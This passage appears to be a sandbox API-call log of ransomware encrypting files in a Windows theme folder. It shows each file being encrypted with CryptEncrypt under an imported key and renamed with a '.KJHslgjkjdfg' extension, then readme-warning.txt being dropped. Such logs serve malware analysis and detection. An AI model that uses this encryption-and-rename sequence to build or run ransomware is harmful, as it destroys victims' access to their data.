pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.195] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.195] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.195] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.196] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.196] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.196] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.196] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.196] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.196] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.196] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.196] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa5d5, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xa5d5, lpOverlapped=0x0) returned 1 [0151.198] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa5e0, dwBufLen=0xa5e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa5e0) returned 1 [0151.198] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.198] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xa5e0, lpOverlapped=0x0) returned 1 [0151.199] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.199] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa6b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.199] SetEndOfFile (hFile=0x118) returned 1 [0151.202] GetProcessHeap () returned 0x2a0000 [0151.202] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.202] GetProcessHeap () returned 0x2a0000 [0151.202] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0151.205] CloseHandle (hObject=0x118) returned 1 [0151.205] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0151.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.211] GetProcessHeap () returned 0x2a0000 [0151.211] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.212] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.212] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.212] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.214] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.214] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.214] GetProcessHeap () returned 0x2a0000 [0151.214] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.214] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0151.215] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.215] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0151.215] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.215] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.215] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.215] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.215] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.215] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.215] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.215] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.215] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x101cc, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x101cc, lpOverlapped=0x0) returned 1 [0151.217] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x101d0, dwBufLen=0x101d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x101d0) returned 1 [0151.218] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.218] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x101d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x101d0, lpOverlapped=0x0) returned 1 [0151.218] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.219] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x10294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.219] SetEndOfFile (hFile=0x118) returned 1 [0151.222] GetProcessHeap () returned 0x2a0000 [0151.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.222] GetProcessHeap () returned 0x2a0000 [0151.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.kjhslgjkjdfg")) returned 1 [0151.223] CloseHandle (hObject=0x118) returned 1 [0151.223] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0151.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.225] GetProcessHeap () returned 0x2a0000 [0151.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.225] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.225] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.225] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0151.227] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.227] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.227] GetProcessHeap () returned 0x2a0000 [0151.227] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0151.227] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0151.227] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.227] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0151.227] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.227] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.227] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.228] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.228] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.228] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.228] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.228] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.228] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a1, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1a1, lpOverlapped=0x0) returned 1 [0151.228] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1b0) returned 1 [0151.228] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.228] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1b0, lpOverlapped=0x0) returned 1 [0151.228] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.228] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.228] SetEndOfFile (hFile=0x118) returned 1 [0151.231] GetProcessHeap () returned 0x2a0000 [0151.231] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0151.231] GetProcessHeap () returned 0x2a0000 [0151.231] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.kjhslgjkjdfg")) returned 1 [0151.265] CloseHandle (hObject=0x118) returned 1 [0151.265] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0151.265] GetProcessHeap () returned 0x2a0000 [0151.265] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.265] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.265] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.265] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.265] GetProcessHeap () returned 0x2a0000 [0151.266] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.266] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.266] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.266] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.266] GetProcessHeap () returned 0x2a0000 [0151.266] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0151.266] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.266] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0151.266] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.266] GetProcessHeap () returned 0x2a0000 [0151.266] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.266] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.266] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.266] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.266] GetProcessHeap () returned 0x2a0000 [0151.266] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.266] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.266] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.266] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.266] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.267] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.267] RegCloseKey (hKey=0x118) returned 0x0 [0151.267] GetProcessHeap () returned 0x2a0000 [0151.267] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.267] GetProcessHeap () returned 0x2a0000 [0151.267] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.267] GetProcessHeap () returned 0x2a0000 [0151.267] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.267] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.267] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.267] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.267] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.267] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.268] GetProcessHeap () returned 0x2a0000 [0151.268] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.268] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.268] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.268] GetProcessHeap () returned 0x2a0000 [0151.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0151.268] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\readme-warning.txt") returned 80 [0151.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.269] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.270] CloseHandle (hObject=0x118) returned 1 [0151.271] GetProcessHeap () returned 0x2a0000 [0151.271] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0151.271] GetProcessHeap () returned 0x2a0000 [0151.271] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0151.271] GetProcessHeap () returned 0x2a0000 [0151.271] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.271] GetProcessHeap () returned 0x2a0000 [0151.271] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.271] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.271] GetProcessHeap () returned 0x2a0000 [0151.271] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.271] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0151.271] GetProcessHeap () returned 0x2a0000 [0151.271] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0151.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.272] GetProcessHeap () returned 0x2a0000 [0151.272] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0151.272] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, 